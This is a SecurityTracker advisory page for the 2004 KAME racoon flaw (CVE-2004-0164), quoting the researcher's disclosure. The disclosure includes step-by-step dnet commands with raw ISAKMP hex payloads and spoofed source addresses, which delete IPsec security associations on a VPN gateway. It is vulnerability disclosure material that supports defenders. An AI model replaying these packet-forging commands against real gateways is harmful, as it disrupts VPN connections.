SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Security)  >   Racoon Vendors:   KAME Project
KAME Racoon Hash Validation Flaw Lets Remote Users Delete Security Associations
SecurityTracker Alert ID:  1009134
SecurityTracker URL:  http://securitytracker.com/id/1009134
CVE Reference:   CVE-2004-0164   (Links to External Site)
Date:  Feb 19 2004
Impact:   Denial of service via network
Fix Available:  Yes  Vendor Confirmed:  Yes  Exploit Included:  Yes  
Version(s): isakmp_inf.c file version 1.82 and prior versions
Description:   Some vulnerabilities were reported in the KAME Racoon daemon. A remote user can cause IPSec security associations (SAs) to be deleted.

In January 2004, it was reported that the software fails to validate hash values in certain cases. A remote user can send messages to cause established SAs to be deleted.

It is reported that a remote user can send a delete message that contains the initiator cookie for a main/aggressive/base mode transaction and includes an arbitrary hash value. If the IP source address is correct and the ISAKMP SA has not yet been setup, the target system will incorrectly honor the delete message.

It is also reported that a remote user can send an INITIAL-CONTACT notification to cause all IPSec SAs associated with the destination address to be deleted.

A demonstration exploit scenario is described in the Source Message.

Impact:   A remote user can cause SAs to be deleted.
Solution:   The vendor has released a fix, available via CVS:

http://orange.kame.net/dev/cvsweb.cgi/kame/kame/kame/racoon/isakmp_inf.c

Vendor URL:  www.kame.net/racoon/ (Links to External Site)
Cause:   Authentication error
Underlying OS:  Linux (Any), UNIX (Any)

Message History:   This archive entry has one or more follow-up message(s) listed below.
Feb 20 2004 (NetBSD Issues Fix) KAME Racoon Hash Validation Flaw Lets Remote Users Delete Security Associations
NetBSD has issued a fix.
Feb 24 2004 (Apple Issues Fix) KAME Racoon Hash Validation Flaw Lets Remote Users Delete Security Associations
Apple has released Security Update 2004-02-23.
May 12 2004 (Red Hat Issues Fix for RH Enterprise Linux) KAME Racoon Hash Validation Flaw Lets Remote Users Delete Security Associations
Red Hat has released a fix for Red Hat Enterprise Linux 3.



 Source Message Contents

Subject:  unauthorized deletion of IPsec (and ISAKMP) SAs in racoon


0 Preface

  Now that most bugs in isakmpd that allowed for unauthorized SA
  deletion are "fixed", it's time to release some information on racoon.

  By the way: About 5 months ago I tried to contact the KAME developers.

1 Description

  racoon, KAME's IKE daemon, contains some flaws, that allow for
  unauthorized deletion of IPsec (and ISAKMP) SAs.

2 Description

  2.1 racoon's "authentication" of delete messages

    When racoon receives a delete message containing the initiator
    cookie of a main/aggressive/base mode, that has not yet setup a
    ISAKMP SA, it fulfills the request, if the message also includes a
    (dummy) hash payload and originates from the right IP address. See
    isakmp_main() in isakmp.c and purge_isakmp_spi(), purge_ipsec_spi(),
    isakmp_info_recv() and isakmp_info_recv_d() in isakmp_inf.c for
    details and amusement.
    
  2.2 INITIAL-CONTACT with racoon
  
    It is nearly the same with INITIAL-CONTACT notifications, but there
    is no need of a (dummy) hash payload and it's way more effective,
    because it deletes all IPsec SAs "relatived to the destination
    address". See isakmp_info_recv_n() and info_recv_initialcontact() in
    isakmp_inf.c for additional information.

3 Affected Systems

  All versions of racoon are affected.

4 Leveraging the Issues ..

  Take a look at http://securityfocus.com/archive/1/348637 for the
  assumed scenario.

  4.1 .. using delete messages

    An IPsec tunnel between vpn-gw-a and vpn-gw-a is established:

      vpn-gw-a# setkey -D 
      <vpn-gw-a's IP address> <vpn-gw-b's IP address>
              esp mode=tunnel spi=4127562105(0xf6059979) reqid=0(0x00000000)
	      [..]
      <vpn-gw-b's IP address> <vpn-gw-a's IP address>
              esp mode=tunnel spi=111058204(0x069e9d1c) reqid=0(0x00000000)
	      [..]

    The attacker launches step 1 of his attack. He pretends to initiate a
    phase 1 exchange (with spoofed source IP address, of course):

      attacker# dnet hex \
      >   "\x17\x17\x17\x17" \
      >   "\x17\x17\x17\x17" \
      >   "\x00\x00\x00\x00" \
      >   "\x00\x00\x00\x00" \
      >   "\x01\x10\x02\x00" \
      >   "\x00\x00\x00\x00" \
      >   "\x00\x00\x00\x48" \
      >     "\x00\x00\x00\x2c" \
      >     "\x00\x00\x00\x01" \
      >     "\x00\x00\x00\x01" \
      >       "\x00\x00\x00\x20" \
      >       "\x01\x01\x00\x01" \
      >         "\x00\x00\x00\x18" \
      >         "\x00\x01\x00\x00" \
      >         "\x80\x01\x00\x05" \
      >         "\x80\x02\x00\x02" \
      >         "\x80\x03\x00\x01" \
      >         "\x80\x04\x00\x02" |
      pipe> dnet udp sport 500 dport 500 |
      pipe pipe> dnet ip proto udp src vpn-gw-b dst vpn-gw-a |
      pipe pipe pipe> dnet send

    If racoon finds the included proposal acceptable it creates a state.
    Now the attacker carries out step 2:

      attacker# dnet hex \
      >   "\x17\x17\x17\x17" \
      >   "\x17\x17\x17\x17" \
      >   "\x00\x00\x00\x00" \
      >   "\x00\x00\x00\x00" \
      >   "\x08\x10\x05\x00" \
      >   "\x00\x00\x00\x00" \
      >   "\x00\x00\x00\x30" \
      >     "\x0c\x00\x00\x04" \
      >     "\x00\x00\x00\x10" \
      >     "\x00\x00\x00\x01" \
      >     "\x03\x04\x00\x01" \
      >     "\xf6\x05\x99\x79" |
      pipe> dnet udp sport 500 dport 500 |
      pipe pipe> dnet ip proto udp src vpn-gw-b dst vpn-gw-a |
      pipe pipe pipe> dnet send

    It seems that racoon knows the attacker ;-):

      vpn-gw-a# setkey -D
      <vpn-gw-b's IP address> <vpn-gw-a's IP address>
              esp mode=tunnel spi=111058204(0x069e9d1c) reqid=0(0x00000000)
	      [..]

    Note: You can also delete ISAKMP SAs.
    
  4.2 .. using INITIAL-CONTACT

    The IPsec tunnel is up an running:

      vpn-gw-a# setkey -D
      <vpn-gw-a's IP address> <vpn-gw-b's IP address>
              esp mode=tunnel spi=785352974(0x2ecf890e) reqid=0(0x00000000)
              [..] 
      <vpn-gw-b's IP address> <vpn-gw-a's IP address>
              esp mode=tunnel spi=183367627(0x0aedf7cb) reqid=0(0x00000000)
              [..]

    Again the attacker does step 1 and injects an ISAKMP message like
    this:

      attacker# dnet hex \
      >   "\x17\x17\x17\x17" \
      >   "\x17\x17\x17\x17" \
      >   "\x00\x00\x00\x00" \
      >   "\x00\x00\x00\x00" \
      >   "\x0b\x10\x05\x00" \
      >   "\x00\x00\x00\x00" \
      >   "\x00\x00\x00\x28" \
      >     "\x00\x00\x00\x0c" \
      >     "\x00\x00\x00\x01" \
      >     "\x01\x00\x60\x02" |
      pipe> dnet udp sport 500 dport 500 |
      pipe pipe> dnet ip proto udp src vpn-gw-b dst vpn-gw-a |
      pipe pipe pipe> dnet send

    racoon blindly obeys the attacker's command: 

      vpn-gw-a# setkey -D
      No SAD entries.

5. Bug fixes

  There are no bug fixes.

Thomas Walpuski

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2020, SecurityGlobal.net LLC